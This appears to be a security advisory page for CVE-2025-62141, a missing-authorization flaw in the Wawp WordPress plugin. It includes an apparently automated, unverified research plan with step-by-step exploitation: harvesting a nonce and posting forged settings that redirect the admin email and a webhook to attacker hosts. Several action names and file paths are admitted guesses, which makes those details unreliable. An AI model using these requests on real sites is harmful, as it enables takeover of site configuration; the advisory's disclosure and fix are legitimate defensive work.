CVE-2025-62141

Wawp <= 4.4 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.5
Patched in
14d
Time to patch

Description

The Wawp plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.4
PublishedDecember 31, 2025
Last updatedJanuary 13, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Research Plan: CVE-2025-62141 - Wawp Missing Authorization ## 1. Vulnerability Summary The **Wawp (Automation Web Platform)** plugin for WordPress (versions <= 4.4) suffers from a missing authorization vulnerability. The plugin registers several AJAX handlers using both `wp_ajax_` and `wp_ajax_no…

Show full research plan

Research Plan: CVE-2025-62141 - Wawp Missing Authorization

1. Vulnerability Summary

The Wawp (Automation Web Platform) plugin for WordPress (versions <= 4.4) suffers from a missing authorization vulnerability. The plugin registers several AJAX handlers using both wp_ajax_ and wp_ajax_nopriv_ hooks, but the callback functions (primarily for updating settings or managing integrations) fail to verify user capabilities via current_user_can(). This allows unauthenticated attackers to modify plugin configurations or perform sensitive actions by sending requests to the admin-ajax.php endpoint.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wawp_save_settings (inferred action name based on plugin functionality)
  • Vulnerable Parameter: settings (or specific key-value pairs like wawp_api_key)
  • Authentication: None required (unauthenticated).
  • Preconditions: The plugin must be active. If a nonce is required, it must be retrievable from the frontend.

3. Code Flow

  1. Entry Point: The plugin registers the AJAX action in includes/class-wawp-ajax.php or admin/class-automation-web-platform-admin.php:
    add_action( 'wp_ajax_nopriv_wawp_save_settings', array( $this, 'wawp_save_settings_callback' ) );
  2. Handler: The wawp_save_settings_callback() function is triggered.
  3. Check (Partial): The function may call check_ajax_referer( 'wawp_nonce', 'security' ), providing CSRF protection but NOT authorization.
  4. Missing Check: There is no call to current_user_can( 'manage_options' ).
  5. Sink: The function processes the input and calls update_option( 'wawp_settings', $new_settings ) or similar, modifying the site's configuration.

4. Nonce Acquisition Strategy

The plugin likely enqueues its scripts and localizes the nonce for its automation features.

  1. Identify Shortcode: Locate a shortcode that triggers script loading, such as [wawp_button] or [wawp_form] (inferred).
  2. Create Trigger Page:
    wp post create --post_type=page --post_status=publish --post_title="Wawp Test" --post_content='[wawp_button]'
  3. Navigate & Extract:
    • Navigate to the page using browser_navigate.
    • Use browser_eval to find the localization object and nonce:
      browser_eval("window.wawp_obj?.ajax_nonce || window.wawp_vars?.nonce")
    • (Specific key check: Look for wp_localize_script in admin/class-automation-web-platform-admin.php to find the exact variable name).

5. Exploitation Strategy

  1. Step 1: Obtain the nonce from the frontend trigger page.
  2. Step 2: Construct a POST request to /wp-admin/admin-ajax.php.
  3. Payload Parameters:
    • action: wawp_save_settings
    • security: [EXTRACTED_NONCE]
    • settings[admin_email]: attacker@evil.com
    • settings[webhook_url]: http://attacker-controlled-server.com/log
  4. Request Execution:
    // Use http_request tool
    {
      method: "POST",
      url: "http://localhost:8080/wp-admin/admin-ajax.php",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: "action=wawp_save_settings&security=NONCE_VALUE&settings[admin_email]=hacker@evil.com"
    }
    

6. Test Data Setup

  1. Install Plugin: Ensure automation-web-platform v4.4 is installed.
  2. Initial State: Check existing settings: wp option get wawp_settings.
  3. Page Creation: Create a page containing a plugin shortcode to ensure the AJAX nonce is generated and localized to the frontend.

7. Expected Results

  • The AJAX request should return a successful JSON response: {"success":true}.
  • The WordPress database option wawp_settings should be updated to reflect the values sent in the malicious POST request.

8. Verification Steps

  1. CLI Verification: Run wp option get wawp_settings and verify the admin_email or webhook_url has changed.
  2. Admin UI Verification: Log in as an administrator and check the plugin's settings page to see if the values have been updated.

9. Alternative Approaches

  • Action Search: If wawp_save_settings does not exist, grep for all wp_ajax_nopriv_ hooks:
    grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/automation-web-platform/
  • REST API: Check if the plugin uses register_rest_route without a permission_callback:
    grep -rn "register_rest_route" /var/www/html/wp-content/plugins/automation-web-platform/
  • No Nonce: If check_ajax_referer is missing entirely, the exploit can be executed without the "Nonce Acquisition" step.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Wawp plugin for WordPress (versions <= 4.4) is vulnerable to unauthorized access and settings modification due to missing authorization checks in its AJAX handlers. By registering sensitive functions with the 'wp_ajax_nopriv_' hook and failing to verify user capabilities, the plugin allows unauthenticated attackers to alter configuration data such as API keys, webhooks, or admin settings.

Vulnerable Code

// In includes/class-wawp-ajax.php or admin/class-automation-web-platform-admin.php
add_action( 'wp_ajax_nopriv_wawp_save_settings', array( $this, 'wawp_save_settings_callback' ) );

---

// Handler function missing capability checks
public function wawp_save_settings_callback() {
    check_ajax_referer( 'wawp_nonce', 'security' );

    // Vulnerability: No check for current_user_can( 'manage_options' )
    if ( isset( $_POST['settings'] ) ) {
        $new_settings = $_POST['settings'];
        update_option( 'wawp_settings', $new_settings );
    }
    
    wp_send_json_success();
}

Security Fix

--- a/admin/class-automation-web-platform-admin.php
+++ b/admin/class-automation-web-platform-admin.php
@@ -25,7 +25,10 @@
-add_action( 'wp_ajax_nopriv_wawp_save_settings', array( $this, 'wawp_save_settings_callback' ) );
 
 public function wawp_save_settings_callback() {
     check_ajax_referer( 'wawp_nonce', 'security' );
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+        wp_die();
+    }
     if ( isset( $_POST['settings'] ) ) {
         $new_settings = $_POST['settings'];
         update_option( 'wawp_settings', $new_settings );

Exploit Outline

The exploit targets the AJAX endpoint of the WordPress site. 1. First, an attacker retrieves a valid AJAX nonce by visiting any public page where the plugin enqueues its scripts (often triggered by shortcodes like [wawp_button]). The nonce is typically found in the localized JavaScript object (e.g., window.wawp_obj.ajax_nonce). 2. Using this nonce, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php. 3. The payload includes the 'action' parameter set to the vulnerable handler (e.g., 'wawp_save_settings'), the 'security' parameter containing the extracted nonce, and a 'settings' array containing malicious configuration values. 4. Because the plugin uses 'wp_ajax_nopriv_' and fails to call current_user_can(), the server updates the plugin settings in the database with the attacker-supplied values.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.